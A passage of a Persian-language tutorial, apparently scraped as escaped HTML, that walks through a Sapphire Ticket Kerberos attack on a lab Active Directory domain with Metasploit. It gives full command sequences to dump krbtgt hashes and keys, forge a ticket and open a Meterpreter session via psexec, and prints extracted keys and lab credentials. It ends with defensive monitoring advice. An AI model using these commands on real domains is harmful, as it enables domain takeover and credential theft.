                        SMBDOMAIN = ignite.local\u00a0 : \u0646\u0627\u0645 \u062f\u0627\u0645\u0646\u0647\u200c\u0627\u06cc \u06a9\u0647 \u0633\u06cc\u0633\u062a\u0645 \u0647\u062f\u0641 \u0628\u0647 \u0622\u0646 \u062a\u0639\u0644\u0642 \u062f\u0627\u0631\u062f.<\/span><\/p>\n
                        SMBUSER = admin1 : \u0646\u0627\u0645 \u06a9\u0627\u0631\u0628\u0631\u06cc \u0628\u0627 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0627\u0644\u0627 \u0628\u0631\u0627\u06cc \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a SMB.<\/span><\/p>\n
                        SMBPASS\u00a0 = Password@1 : \u06af\u0630\u0631\u0648\u0627\u0698\u0647 \u06a9\u0627\u0631\u0628\u0631 \u0641\u0648\u0642. (\u062f\u0631 \u0645\u062d\u06cc\u0637\u200c\u0647\u0627\u06cc \u0648\u0627\u0642\u0639\u06cc\u060c \u0628\u0647\u200c\u0634\u062f\u062a \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u0627\u0632 vault \u0627\u0645\u0646 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0634\u0648\u062f.)<\/span><\/p>\n
                        KRB_USERS = krbtgt : \u06a9\u0627\u0631\u0628\u0631 \u0648\u06cc\u0698\u0647 Kerberos \u0628\u0631\u0627\u06cc \u0635\u062f\u0648\u0631 \u0628\u0644\u06cc\u062a\u200c\u0647\u0627\u06cc \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a (TGT).<\/span><\/p>\n
                        ACTION = DOMAIN : \u0645\u0634\u062e\u0635 \u0645\u06cc\u200c\u06a9\u0646\u062f \u06a9\u0647 \u0647\u062f\u0641\u060c \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u0627\u0633\u0631\u0627\u0631 \u062f\u0627\u0645\u0646\u0647 (Domain Secrets) \u0627\u0633\u062a.<\/span><\/p>\n
                        \u0627\u062c\u0631\u0627\u06cc \u0645\u0627\u0698\u0648\u0644<\/strong>:<\/strong><\/span><\/p>\n
                        \u0645\u0627\u0698\u0648\u0644 \u0627\u062c\u0631\u0627 \u0645\u06cc\u200c\u0634\u0648\u062f \u0648 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u062d\u0631\u0645\u0627\u0646\u0647 (secrets) \u0628\u0627 \u0628\u0647\u0631\u0647\u200c\u06af\u06cc\u0631\u06cc \u0627\u0632 \u0631\u0648\u0634 DRSUAPI \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u0645\u06cc\u200c\u06af\u0631\u062f\u062f. \u0627\u06cc\u0646 \u0631\u0648\u0634 \u06cc\u06a9\u06cc \u0627\u0632 \u062a\u06a9\u0646\u06cc\u06a9\u200c\u0647\u0627\u06cc \u0631\u0627\u06cc\u062c \u0628\u0631\u0627\u06cc \u062f\u0633\u062a\u06cc\u0627\u0628\u06cc \u0628\u0647 \u062f\u0627\u062f\u0647\u200c\u0647\u0627\u06cc \u0645\u0648\u062c\u0648\u062f \u062f\u0631 \u0641\u0627\u06cc\u0644 NTDS.DIT \u0645\u062d\u0633\u0648\u0628 \u0645\u06cc\u200c\u0634\u0648\u062f\u061b \u0641\u0627\u06cc\u0644\u06cc \u06a9\u0647 \u062d\u0627\u0648\u06cc \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u062d\u0633\u0627\u0633 \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u062f\u0627\u06cc\u0631\u06a9\u062a\u0648\u0631\u06cc \u0641\u0639\u0627\u0644 (Active Directory) \u0627\u0632 \u062c\u0645\u0644\u0647 \u0647\u0634 \u06af\u0630\u0631\u0648\u0627\u0698\u0647\u200c\u0647\u0627 \u0645\u06cc\u200c\u0628\u0627\u0634\u062f.<\/span><\/p>\n
                        \u0628\u0631\u062c\u0633\u062a\u0647\u200c\u062a\u0631\u06cc\u0646 \u062e\u0631\u0648\u062c\u06cc\u200c\u0647\u0627<\/strong>:<\/strong><\/span><\/p>\n
                          \n
                        • \u0647\u0634 NTLM \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u062d\u0633\u0627\u0628 \u06a9\u0627\u0631\u0628\u0631\u06cc krbtgt:<\/span><\/li>\n<\/ul>\n
                          \u06f7\u06f6\u06f1\u06f6\u06f8\u06f8de884aff3372f8b9c53b2993c7<\/span><\/p>\n
                          \u06a9\u0644\u06cc\u062f \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc AES \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 krbtgt (\u0645\u0648\u0631\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u062f\u0631 Kerberos):<\/span><\/p>\n
                          \u06f8e52115cc36445bc520160f045033d5f40914ce1a6cf59c4c4bc96a51b970dbb<\/span><\/p>\n
                          \u0627\u06cc\u0646 \u062f\u0627\u062f\u0647\u200c\u0647\u0627 \u0627\u0632 \u0627\u0647\u0645\u06cc\u062a \u0628\u0627\u0644\u0627\u06cc\u06cc \u0628\u0631\u062e\u0648\u0631\u062f\u0627\u0631\u0646\u062f\u060c \u0632\u06cc\u0631\u0627 \u06a9\u0644\u06cc\u062f\u0647\u0627\u06cc KRBTGT \u0628\u0631\u0627\u06cc \u0627\u0645\u0636\u0627\u06cc \u0628\u0644\u06cc\u062a\u200c\u0647\u0627\u06cc \u0645\u0639\u062a\u0628\u0631 Kerberos \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f \u0648 \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0646\u0642\u0634 \u06a9\u0644\u06cc\u062f\u06cc \u062f\u0631 \u0641\u0631\u0622\u06cc\u0646\u062f \u062c\u0639\u0644 \u0628\u0644\u06cc\u062a (Ticket Forging) \u0627\u06cc\u0641\u0627 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.<\/span><\/p>\n
                          use gather\/windows_secrets_dump\r\nset RHOSTS 192.168.1.48\r\nset SMBDOMAIN ignite.local\r\nset SMBUSER admin1\r\nset SMBPASS Password@1\r\nset ACTION DOMAIN\r\nset KRB_USERS KRBTGT\r\nrun\r\n<\/pre>\n
                          \"\"<\/p>\n
                          \u0645\u062a\u0627\u0627\u0633\u067e\u0644\u0648\u06cc\u062a: \u062c\u0639\u0644 Ticket (\u062d\u0645\u0644\u0647 Sapphire Ticket)<\/span><\/strong><\/p>\n
                          \u0627\u06cc\u0646 \u0645\u0627\u0698\u0648\u0644 \u0628\u0647\u200c\u0635\u0648\u0631\u062a \u0641\u0639\u0627\u0644 \u0627\u0642\u062f\u0627\u0645 \u0628\u0647 \u062c\u0639\u0644 \u06cc\u06a9 Ticket \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 Kerberos \u0645\u06cc\u200c\u06a9\u0646\u062f \u0648 \u062f\u0631 \u0627\u06cc\u0646 \u0641\u0631\u0622\u06cc\u0646\u062f \u0627\u0632 \u0686\u0647\u0627\u0631 \u062a\u06a9\u0646\u06cc\u06a9 \u0645\u062a\u0645\u0627\u06cc\u0632 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u0646\u0645\u0627\u06cc\u062f:<\/span><\/p>\n
                          \u062f\u0631 \u0631\u0648\u0634 Silver Ticket\u060c \u0645\u0647\u0627\u062c\u0645 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0647\u0634 \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u062d\u0633\u0627\u0628 \u06a9\u0627\u0631\u0628\u0631\u06cc \u06cc\u06a9 \u0633\u0631\u0648\u06cc\u0633\u060c Ticket\u06cc \u062c\u0639\u0644\u06cc \u0627\u06cc\u062c\u0627\u062f \u0645\u06cc\u200c\u06a9\u0646\u062f \u06a9\u0647 \u0628\u0647 \u0648\u0627\u0633\u0637\u0647 \u0622\u0646 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u062e\u0648\u062f \u0631\u0627 \u0628\u0647\u200c\u0639\u0646\u0648\u0627\u0646 \u0647\u0631 \u06a9\u0627\u0631\u0628\u0631\u06cc \u0645\u0639\u0631\u0641\u06cc \u06a9\u0631\u062f\u0647 \u0648 \u0628\u0647 \u0645\u0646\u0627\u0628\u0639 \u0645\u0631\u062a\u0628\u0637 \u0628\u0627 \u0622\u0646 \u0633\u0631\u0648\u06cc\u0633 \u062f\u0633\u062a\u0631\u0633\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0646\u062f.<\/span><\/p>\n
                          \u062f\u0631 \u0631\u0648\u0634 Golden Ticket\u060c \u0645\u0647\u0627\u062c\u0645 \u0627\u0632 \u0647\u0634 \u062d\u0633\u0627\u0628 krbtgt \u0628\u0631\u0627\u06cc \u0633\u0627\u062e\u062a \u06cc\u06a9 Ticket \u062c\u0639\u0644\u06cc \u0628\u0647\u0631\u0647 \u0645\u06cc\u200c\u0628\u0631\u062f \u06a9\u0647 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u0628\u0627 \u0647\u0631 \u0647\u0648\u06cc\u062a\u06cc \u0648 \u0628\u0627 \u0647\u0631 \u0633\u0637\u062d \u062f\u0633\u062a\u0631\u0633\u06cc \u062f\u0644\u062e\u0648\u0627\u0647 \u0648\u0627\u0631\u062f \u0633\u06cc\u0633\u062a\u0645 \u0634\u0648\u062f.<\/span><\/p>\n
                          \u062a\u06a9\u0646\u06cc\u06a9 Diamond Ticket \u0634\u0627\u0645\u0644 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0645\u0648\u0641\u0642 \u0627\u0648\u0644\u06cc\u0647 \u0628\u0647 \u06a9\u0646\u062a\u0631\u0644\u200c\u06a9\u0646\u0646\u062f\u0647 \u062f\u0627\u0645\u0646\u0647 (Domain Controller) \u0648 \u0633\u067e\u0633 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0647\u0634 krbtgt \u0628\u0631\u0627\u06cc \u06a9\u067e\u06cc \u06a9\u0631\u062f\u0646 \u0627\u0637\u0644\u0627\u0639\u0627\u062a PAC (Privilege Attribute Certificate) \u0627\u0632 \u06a9\u0627\u0631\u0628\u0631 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a\u200c\u0634\u062f\u0647 \u0628\u0647 \u062f\u0627\u062e\u0644 \u06cc\u06a9 Ticket \u062c\u0639\u0644\u06cc \u0627\u0633\u062a.<\/span><\/p>\n
                          \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a\u060c \u0631\u0648\u0634 Sapphire Ticket \u0627\u0632 \u062a\u0631\u06a9\u06cc\u0628 \u062f\u0648 \u0645\u06a9\u0627\u0646\u06cc\u0632\u0645 S4U2Self \u0648 U2U \u0628\u0631\u0627\u06cc \u0628\u0627\u0632\u06cc\u0627\u0628\u06cc PAC \u06a9\u0627\u0631\u0628\u0631 \u0647\u062f\u0641 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0633\u067e\u0633 \u0645\u0647\u0627\u062c\u0645 \u0628\u0627 \u062a\u06a9\u06cc\u0647 \u0628\u0631 \u0647\u0634 krbtgt\u060c Ticket \u062c\u0639\u0644\u06cc \u0646\u0647\u0627\u06cc\u06cc \u0631\u0627 \u0627\u06cc\u062c\u0627\u062f \u0645\u06cc\u200c\u0646\u0645\u0627\u06cc\u062f.<\/span><\/p>\n
                          \u0634\u0645\u0627 \u062f\u0631 \u062d\u0627\u0644 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0645\u0627\u0698\u0648\u0644 forge_ticket \u062f\u0631 \u0627\u0628\u0632\u0627\u0631 Metasploit \u0647\u0633\u062a\u06cc\u062f \u062a\u0627 \u06cc\u06a9 Kerberos ticket \u062c\u0639\u0644\u06cc \u0627\u06cc\u062c\u0627\u062f \u06a9\u0646\u06cc\u062f.<\/span><\/p>\n
                          \u062a\u0646\u0638\u06cc\u0645\u0627\u062a \u06a9\u0644\u06cc\u062f\u06cc : <\/strong><\/span><\/p>\n
                          \u067e\u06cc\u06a9\u0631\u0628\u0646\u062f\u06cc \u067e\u0627\u0631\u0627\u0645\u062a\u0631\u0647\u0627\u06cc \u062c\u0639\u0644<\/strong> (Forgery Parameters):<\/strong><\/span><\/p>\n
                            \n
                          • AES_KEY<\/strong>: \u06a9\u0644\u06cc\u062f AES \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u062d\u0633\u0627\u0628 krbtgt \u06a9\u0647 \u062f\u0631 \u0645\u0631\u062d\u0644\u0647 \u0642\u0628\u0644 \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u0634\u062f\u0647 \u0627\u0633\u062a.<\/span><\/li>\n
                          • USER<\/strong>: \u06a9\u0627\u0631\u0628\u0631 \u0645\u0648\u0631\u062f \u062c\u0639\u0644 (impersonated user)\u060c \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 admin1.<\/span><\/li>\n
                          • REQUEST_USER<\/strong>: \u06a9\u0627\u0631\u0628\u0631\u06cc \u06a9\u0647 \u062f\u0631\u062e\u0648\u0627\u0633\u062a Ticket \u0631\u0627 \u0635\u0627\u062f\u0631 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 rudra.<\/span><\/li>\n
                          • REQUEST_PASSWORD<\/strong>: \u06af\u0630\u0631\u0648\u0627\u0698\u0647 \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u06a9\u0627\u0631\u0628\u0631 \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u200c\u062f\u0647\u0646\u062f\u0647\u060c \u0645\u0648\u0631\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u062f\u0631 \u0641\u0631\u0622\u06cc\u0646\u062f U2U<\/strong>\u061b \u0645\u0642\u062f\u0627\u0631: Password@1.<\/span><\/li>\n
                          • DOMAIN<\/strong>: \u0646\u0627\u0645 \u062f\u0627\u0645\u0646\u0647 \u0647\u062f\u0641\u060c \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 ignite.local.<\/span><\/li>\n
                          • RHOSTS<\/strong>: \u0622\u062f\u0631\u0633 IP \u0645\u0627\u0634\u06cc\u0646 \u0647\u062f\u0641\u061b \u0645\u0642\u062f\u0627\u0631: \u06f1\u06f9\u06f2\u066b\u06f1\u06f6\u06f8\u066b\u06f1\u066b\u06f4\u06f8\u066b<\/span><\/li>\n<\/ul>\n
                            \u0627\u062c\u0631\u0627\u06cc \u0645\u0627\u0698\u0648\u0644 :<\/strong><\/span><\/p>\n
                            \u067e\u0633 \u0627\u0632 \u0627\u062c\u0631\u0627\u06cc \u0645\u0627\u0698\u0648\u0644\u060c \u06cc\u06a9 \u067e\u0627\u0633\u062e \u0634\u0627\u0645\u0644 TGT (Ticket Granting Ticket) \u0648 TGS (Ticket Granting Service) \u062f\u0631\u06cc\u0627\u0641\u062a \u0645\u06cc\u200c\u0634\u0648\u062f.<\/span><\/p>\n
                            Ticket \u062a\u0648\u0644\u06cc\u062f\u0634\u062f\u0647 \u062f\u0631 \u0645\u0633\u06cc\u0631 \u0632\u06cc\u0631 \u0630\u062e\u06cc\u0631\u0647 \u0645\u06cc\u200c\u06af\u0631\u062f\u062f:<\/span><\/p>\n
                            \/root\/.msf4\/loot\/20250128100342_default_192.168.1.48_mit.kerberos.cca_038047.bin<\/pre>\n
                            use admin\/kerberos\/forge_ticket\r\nset action FORGE_SAPPHIRE\r\nset AES_KEY 8e52115cc36445bc520160f045033d5f40914ce1a6cf59c4c4bc96a51b970dbb\r\nset USER admin1\r\nset DOMAIN ignite.local\r\nset REQUEST_USER rudra\r\nset REQUEST_PASSWORD Password@1\r\nset RHOSTS 192.168.1.48\r\nrun\r\n<\/pre>\n
                            \"\"<\/p>\n
                            \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062f\u0633\u062a\u0648\u0631 ls\u060c \u0641\u0647\u0631\u0633\u062a \u0641\u0627\u06cc\u0644\u200c\u0647\u0627 \u062f\u0631 \u0645\u0633\u06cc\u0631 \u0645\u0631\u0628\u0648\u0637\u0647 \u0646\u0645\u0627\u06cc\u0634 \u062f\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f. \u0633\u067e\u0633 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062f\u0633\u062a\u0648\u0631 mv\u060c \u0641\u0627\u06cc\u0644 \u0645\u0648\u0631\u062f \u0646\u0638\u0631 \u0628\u0647 \u0646\u0627\u0645 \u062c\u062f\u06cc\u062f \u06f1\u066bbin \u062a\u063a\u06cc\u06cc\u0631 \u0646\u0627\u0645 \u062f\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f. \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0628\u0647 \u0633\u0627\u062f\u0647\u200c\u0633\u0627\u0632\u06cc \u0627\u0631\u062c\u0627\u0639 \u0628\u0647 \u0641\u0627\u06cc\u0644 \u062f\u0631 \u0645\u0631\u0627\u062d\u0644 \u0628\u0639\u062f\u06cc \u06a9\u0645\u06a9 \u06a9\u0631\u062f\u0647 \u0648 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u062c\u062f\u062f \u062a\u0648\u0633\u0637 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0622\u062a\u06cc \u0631\u0627 \u062a\u0633\u0647\u06cc\u0644 \u0645\u06cc\u200c\u06a9\u0646\u062f.<\/span><\/p>\n
                            \"\"<\/p>\n
                            \u0627\u06cc\u0646 \u0645\u0627\u0698\u0648\u0644 \u0627\u0632 \u0646\u0627\u0645 \u06a9\u0627\u0631\u0628\u0631\u06cc \u0648 \u06af\u0630\u0631\u0648\u0627\u0698\u0647 \u0645\u0639\u062a\u0628\u0631 \u06cc\u06a9 \u0645\u062f\u06cc\u0631 \u0633\u06cc\u0633\u062a\u0645 (\u06cc\u0627 \u0647\u0634 \u06af\u0630\u0631\u0648\u0627\u0698\u0647) \u0628\u0631\u0627\u06cc \u0627\u062c\u0631\u0627\u06cc \u06cc\u06a9 payload \u062f\u0644\u062e\u0648\u0627\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u06cc\u0646\u060c \u0627\u06cc\u0646 \u0645\u0627\u0698\u0648\u0644 \u0645\u0634\u0627\u0628\u0647 \u0627\u0628\u0632\u0627\u0631 “psexec” \u0627\u0631\u0627\u0626\u0647\u200c\u0634\u062f\u0647 \u062a\u0648\u0633\u0637 SysInternals \u0627\u0633\u062a. \u0647\u0645\u0686\u0646\u06cc\u0646\u060c \u0627\u06cc\u0646 \u0645\u0627\u0698\u0648\u0644 \u0627\u06a9\u0646\u0648\u0646 \u0642\u0627\u0628\u0644\u06cc\u062a \u067e\u0627\u06a9\u200c\u0633\u0627\u0632\u06cc \u062e\u0648\u062f \u0631\u0627 \u067e\u0633 \u0627\u0632 \u0627\u062c\u0631\u0627 \u062f\u0627\u0631\u0627\u0633\u062a. \u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u06cc\u0646\u060c \u0633\u0631\u0648\u06cc\u0633\u06cc \u06a9\u0647 \u062a\u0648\u0633\u0637 \u0627\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631 \u0627\u06cc\u062c\u0627\u062f \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u0627\u0632 \u06cc\u06a9 \u0646\u0627\u0645 \u0648 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u062a\u0635\u0627\u062f\u0641\u06cc \u0627\u0646\u062a\u062e\u0627\u0628\u200c\u0634\u062f\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f.<\/span><\/p>\n
                            \u062a\u0646\u0638\u06cc\u0645\u0627\u062a \u0647\u062f\u0641<\/strong> (Target Setting):<\/strong><\/span><\/p>\n
                              \n
                            • RHOST: 192.168.1.48 \u2013 \u0622\u062f\u0631\u0633 IP \u0645\u0627\u0634\u06cc\u0646 \u0647\u062f\u0641 \u062a\u0646\u0638\u06cc\u0645 \u0645\u06cc\u200c\u0634\u0648\u062f.<\/span><\/li>\n
                            • SMBDOMAIN: ignite.local \u2013 \u062f\u0627\u0645\u0646\u0647 SMB \u062a\u0646\u0638\u06cc\u0645 \u0645\u06cc\u200c\u0634\u0648\u062f.<\/span><\/li>\n
                            • USERNAME: admin1 \u2013 \u0646\u0627\u0645 \u06a9\u0627\u0631\u0628\u0631\u06cc \u062a\u0646\u0638\u06cc\u0645 \u0645\u06cc\u200c\u0634\u0648\u062f.<\/span><\/li>\n
                            • SMB::AUTH: \u062a\u0646\u0638\u06cc\u0645 \u0628\u0631 \u0631\u0648\u06cc Kerberos.<\/span><\/li>\n
                            • SMB::KRB5CCNAME: \u06a9\u0634 \u0628\u0644\u06cc\u062a Kerberos \u06a9\u0647 \u0627\u0632 \u0645\u0633\u06cc\u0631 \/root\/.msf4\/loot\/1.bin \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f.<\/span><\/li>\n
                            • SMB::RHOSTNAME: dc.ignite.local \u2013 \u0646\u0627\u0645 \u0645\u06cc\u0632\u0628\u0627\u0646 \u06a9\u0646\u062a\u0631\u0644\u200c\u06a9\u0646\u0646\u062f\u0647 \u062f\u0627\u0645\u0646\u0647 (DC) \u062a\u0646\u0638\u06cc\u0645 \u0645\u06cc\u200c\u0634\u0648\u062f.<\/span><\/li>\n
                            • DOMAINCONTROLLERHOST: \u0628\u0647\u200c\u0637\u0648\u0631 \u0635\u0631\u06cc\u062d \u0628\u0647 \u06f1\u06f9\u06f2\u066b\u06f1\u06f6\u06f8\u066b\u06f1\u066b\u06f4\u06f8 \u062a\u0646\u0638\u06cc\u0645 \u0645\u06cc\u200c\u0634\u0648\u062f.<\/span><\/li>\n
                            • LHOST: \u0645\u0627\u0634\u06cc\u0646 \u0645\u0647\u0627\u062c\u0645 \u0628\u0627 \u0622\u062f\u0631\u0633 \u06f1\u06f9\u06f2\u066b\u06f1\u06f6\u06f8\u066b\u06f1\u066b\u06f6\u06f0\u066b<\/span><\/li>\n<\/ul>\n
                              \u0628\u0631\u0627\u06cc \u0627\u062c\u0631\u0627\u06cc payload \u0648 \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 \u06cc\u06a9 \u062c\u0644\u0633\u0647 Meterpreter\u060c \u062f\u0633\u062a\u0648\u0631 run \u0631\u0627 \u0648\u0627\u0631\u062f \u06a9\u0631\u062f\u0647 \u0648 Enter \u0631\u0627 \u0628\u0632\u0646\u06cc\u062f.<\/span><\/p>\n
                              use exploit\/windows\/smb\/psexec\r\nset RHOSTS 192.168.1.48\r\nset SMBDOMAIN ignite.local\r\nset USERNAME admin1\r\nset SMB::AUTH kerberos\r\nset SMB::KRB5CCNAME \/root\/.msf4\/loot\/1.bin\r\nset SMB::RHOSTNAME dc.ignite.local\r\nset DOMAINCONTROLLERRHOST 192.168.1.48\r\nset LHOST 192.168.1.60\r\n<\/pre>\n
                              \"\"<\/p>\n
                              \u0646\u062a\u06cc\u062c\u0647\u200c\u06af\u06cc\u0631\u06cc<\/strong><\/h2>\n
                              \u062a\u06a9\u0646\u06cc\u06a9 \u062d\u0645\u0644\u0647 Sapphire Tickets \u06cc\u06a9 \u0631\u0648\u0634 \u0642\u062f\u0631\u062a\u0645\u0646\u062f \u0628\u0631\u0627\u06cc \u062f\u0633\u062a\u06a9\u0627\u0631\u06cc \u062f\u0631 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a Kerberos \u0627\u0633\u062a \u06a9\u0647 \u0628\u0627 \u062a\u0631\u06a9\u06cc\u0628 \u06af\u0633\u062a\u0631\u0634\u200c\u0647\u0627\u06cc \u067e\u0631\u0648\u062a\u06a9\u0644 S4U2Self \u0648 User-to-User (U2U) \u0627\u0645\u06a9\u0627\u0646\u200c\u067e\u0630\u06cc\u0631 \u0645\u06cc\u200c\u0634\u0648\u062f. \u0628\u0647\u200c\u0637\u0648\u0631 \u062e\u0627\u0635\u060c \u0627\u06cc\u0646 \u062d\u0645\u0644\u0647 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u06cc\u0627 \u0633\u0631\u0648\u06cc\u0633 \u0627\u06cc\u0646 \u0627\u0645\u06a9\u0627\u0646 \u0631\u0627 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0647 \u062e\u0648\u062f \u0631\u0627 \u0628\u0647\u200c\u0639\u0646\u0648\u0627\u0646 \u06cc\u06a9 \u06a9\u0627\u0631\u0628\u0631 \u0645\u0639\u0631\u0641\u06cc \u06a9\u0631\u062f\u0647 \u0648 \u062f\u0627\u062f\u0647\u200c\u0647\u0627\u06cc \u0645\u062c\u0648\u0632 (PAC) \u0622\u0646 \u06a9\u0627\u0631\u0628\u0631 \u0631\u0627 \u0628\u062f\u0648\u0646 \u0646\u06cc\u0627\u0632 \u0628\u0647 Service Principal Name (SPN) \u06cc\u0627 \u06a9\u0644\u06cc\u062f \u0633\u0631\u0648\u06cc\u0633 \u0628\u0644\u0646\u062f\u0645\u062f\u062a \u0628\u0627\u0632\u06cc\u0627\u0628\u06cc \u06a9\u0646\u062f. \u067e\u0633 \u0627\u0632 \u0628\u0627\u0632\u06cc\u0627\u0628\u06cc \u0645\u0648\u0641\u0642\u06cc\u062a\u200c\u0622\u0645\u06cc\u0632 PAC\u060c \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0622\u0646 \u0631\u0627 \u0628\u0647 \u062f\u0627\u062e\u0644 \u06cc\u06a9 Ticket \u062c\u0639\u0644\u06cc \u062a\u0632\u0631\u06cc\u0642 \u06a9\u0646\u062f. \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647\u060c \u0627\u06cc\u0646 \u062d\u0645\u0644\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0645\u0646\u062c\u0631 \u0628\u0647 \u0627\u0641\u0632\u0627\u06cc\u0634 \u0627\u0645\u062a\u06cc\u0627\u0632\u0627\u062a \u062f\u0633\u062a\u0631\u0633\u06cc (Privilege Escalation) \u06cc\u0627 \u062d\u0631\u06a9\u062a \u062c\u0627\u0646\u0628\u06cc (Lateral Movement) \u062f\u0631 \u062f\u0627\u0645\u0646\u0647 \u0634\u0648\u062f.<\/span><\/p>\n
                              \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a\u060c \u0627\u06cc\u0646 \u062a\u06a9\u0646\u06cc\u06a9 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0647 \u0686\u06af\u0648\u0646\u0647 \u0645\u0647\u0627\u062c\u0645\u06cc\u0646 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0627\u0632 \u0648\u06cc\u0698\u06af\u06cc\u200c\u0647\u0627\u06cc \u0642\u0627\u0646\u0648\u0646\u06cc Kerberos \u06a9\u0647 \u0628\u0647\u200c\u0637\u0648\u0631 \u0627\u0648\u0644\u06cc\u0647 \u0628\u0631\u0627\u06cc \u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc \u0627\u0632 \u0648\u0627\u06af\u0630\u0627\u0631\u06cc \u0627\u0646\u0639\u0637\u0627\u0641\u200c\u067e\u0630\u06cc\u0631 \u0648 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0627\u06cc\u0645\u0646 \u0647\u0645\u062a\u0627 \u0628\u0647 \u0647\u0645\u062a\u0627 \u0637\u0631\u0627\u062d\u06cc \u0634\u062f\u0647\u200c\u0627\u0646\u062f\u060c \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u0646\u062f\u060c \u0632\u0645\u0627\u0646\u06cc \u06a9\u0647 \u0627\u0645\u0646\u06cc\u062a \u062f\u0627\u0645\u0646\u0647 \u0628\u0647\u200c\u0637\u0648\u0631 \u0635\u062d\u06cc\u062d \u067e\u06cc\u06a9\u0631\u0628\u0646\u062f\u06cc \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0646\u0634\u062f\u0647 \u0628\u0627\u0634\u062f. \u0627\u06cc\u0646 \u062d\u0645\u0644\u0647 \u0627\u0647\u0645\u06cc\u062a \u0645\u0648\u0627\u0631\u062f \u0632\u06cc\u0631 \u0631\u0627 \u0628\u0631\u062c\u0633\u062a\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f:<\/span><\/p>\n
                                \n
                              • \u0646\u0638\u0627\u0631\u062a \u0628\u0631 \u0631\u0641\u062a\u0627\u0631 \u0628\u0644\u06cc\u062a\u200c\u0647\u0627 \u0648 \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u200c\u0647\u0627\u06cc \u0648\u0627\u06af\u0630\u0627\u0631\u06cc \u063a\u06cc\u0631\u0645\u0639\u0645\u0648\u0644<\/span><\/li>\n
                              • \u0627\u06cc\u0645\u0646\u200c\u0633\u0627\u0632\u06cc \u0648 \u0645\u0645\u06cc\u0632\u06cc \u067e\u06cc\u06a9\u0631\u0628\u0646\u062f\u06cc\u200c\u0647\u0627\u06cc KCD<\/span><\/li>\n
